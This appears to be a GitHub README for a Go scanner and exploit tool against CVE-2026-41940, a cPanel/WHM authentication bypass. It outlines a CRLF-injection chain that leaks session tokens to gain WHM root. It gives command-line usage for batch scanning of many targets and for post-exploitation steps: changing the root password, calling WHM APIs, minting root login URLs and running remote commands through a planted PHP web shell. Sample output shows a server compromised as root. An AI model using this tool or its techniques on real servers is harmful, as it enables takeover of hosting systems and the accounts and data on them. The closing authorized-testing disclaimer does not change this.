kagantua/cpanelwhm-authbypassGo-based scanner and exploit tool for CVE-2026-41940, an authentication bypass in cPanel/WHM. Supports batch scanning, token leakage, and post-exploitation actions like RCE, password change, and API calls.
A Go command-line tool rewritten from the Python PoC by watchTowr, used to detect and exploit the CVE-2026-41940 cPanel/WHM authentication bypass vulnerability.
CVE-2026-41940 is an authentication bypass vulnerability in cPanel/WHM. The attack chain leaks security tokens and obtains WHM root privileges via CRLF injection into the Basic Auth header.
4-Stage Attack Chain:
/login/ to obtain the raw whostmgrsession cookieAuthorization: Basic header, tricking the server into leaking the cpsess security token in the Location header of a 307 redirectdo_token_denied to propagate the injected authentication data from raw storage to cache/json-api/version and verify root privilegeshttp://, https://, and protocol-less formats, with automatic deduplication-passwd)-api)-session)-cmd)[VULN] in red, [SAFE] in green# Requires Go 1.20+
cd cpanel-checker
go build -o cpanel-checker .
| Parameter | Description | Example |
|---|---|---|
-u | Single target URL | -u https://1.2.3.4:2087 |
-f | File containing a list of URLs | -f targets.txt |
-o | Output file path (default result.txt) | -o vuln.txt |
-c | Concurrency (default 10) | -c 20 |
-hostname | Manually specify the Host header (default auto-discovery) | -hostname cpanel.example.com |
-passwd | Change root password (-u mode only) | -passwd NewP@ss123 |
-api | Invoke WHM API function (-u mode only) | -api listaccts |
-api-params | WHM API parameters, comma-separated | -api-params user=root,password=123 |
-session | Generate root one-click login URL (-u mode only) | -session |
-keep | Keep the RCE temporary account (used with -cmd) | -keep |
-cmd | Execute remote command / RCE (-u mode only) | -cmd "id" |
./cpanel-checker -u https://target:2087
The default port is 2087; the following are equivalent:
./cpanel-checker -u https://target
./cpanel-checker -u target
./cpanel-checker -f targets.txt -c 20
targets.txt supports the following formats (one per line, lines starting with # are comments):
https://1.1.1.1:2087
http://2.2.2.2:2087
3.3.3.3:2087
4.4.4.4
# This is a comment
http://1.1.1.1 and https://1.1.1.1 are treated as the same target and scanned only oncehttps://2087result.txt (customizable via -o)./cpanel-checker -u https://target:2087 -passwd "NewP@ssw0rd!"
# List all accounts
./cpanel-checker -u https://target:2087 -api listaccts
# Invoke with parameters
./cpanel-checker -u https://target:2087 -api passwd -api-params "user=root,password=abc123"
./cpanel-checker -u https://target:2087 -session
Outputs a URL that opens the WHM admin panel in a browser. Use the Terminal feature in the panel to obtain an interactive root shell.
Note:
-sessionis semi-automatic — after the tool generates the login URL, you need to manually open it in your browser.
./cpanel-checker -u https://target:2087 -cmd "id"
Add -keep to retain the temporary account for logging into the cPanel backend:
./cpanel-checker -u https://target:2087 -cmd "id" -keep
When using -keep, the output includes the temporary account's username, password, and cPanel login address (https://host:2083). Use these credentials directly to log into the cPanel panel.
-cmd is fully automatic and requires no other manual steps. Internal flow:
~/public_html/ via UAPI (Fileman::save_file_content)https://host/~tmpuser/shell.php over HTTP to execute commandsPrerequisite: Port 80 or 443 on the target must be reachable, and Apache/httpd must be running.
Multiple exploitation parameters can be used simultaneously:
# Get login URL, execute command, and change password at the same time
./cpanel-checker -u https://target:2087 -session -cmd "id" -passwd "NewP@ss123"
When the target IP does not match the hostname configured in cPanel, specify it manually:
./cpanel-checker -u https://1.2.3.4:2087 -hostname cpanel.example.com
By default, the tool automatically discovers the correct hostname via the 307 redirect from /openid_connect/cpanelid.
[1/5] [VULN] https://1.1.1.1:2087 - token=/cpsess1234567890
[2/5] [SAFE] https://2.2.2.2:2087 - stage2: no cpsess token leaked (HTTP 301), likely patched
[3/5] [SAFE] https://3.3.3.3:2087 - stage1: request failed: dial tcp: i/o timeout
[4/5] [VULN] https://4.4.4.4:2087 - token=/cpsess0987654321
[5/5] [SAFE] https://5.5.5.5:2087 - stage2: no cpsess token leaked (HTTP 301), likely patched
========== Scan Complete ==========
Total: 5 | Vulnerable: 2
● https://1.1.1.1:2087
● https://4.4.4.4:2087
[+] Results saved to result.txt
[*] Target: https://target:2087
[*] Mode: Exploitation
[0] hostname = cpanel.example.com
[1] minting a preauth session...
session base = abc123def456
[2] sending the CRLF injection (Basic auth + no-ob cookie)...
leaked token = /cpsess1234567890
[3] firing do_token_denied to propagate raw -> cache...
gadget fired
[4] verifying we're WHM root...
[+] WHM root privileges obtained
[*] Executing remote command (RCE)...
[a] Creating temporary account: tmpabcde
[b] Writing shell: /home/tmpabcde/public_html/random.php
[c] Executing command: id
[d] Cleaning up temporary account: tmpabcde
[+] Command output:
uid=0(root) gid=0(root) groups=0(root)
[+] Done. https://target:2087 has been compromised
-passwd, -api, -session, -cmd) are only available in -u single-target mode and are not supported in -f batch mode# in the URL file are ignoredThis tool is for authorized security testing and research purposes only. Testing systems without authorization is illegal. Users must ensure they have obtained explicit written authorization from the target system owner. The author is not responsible for any misuse.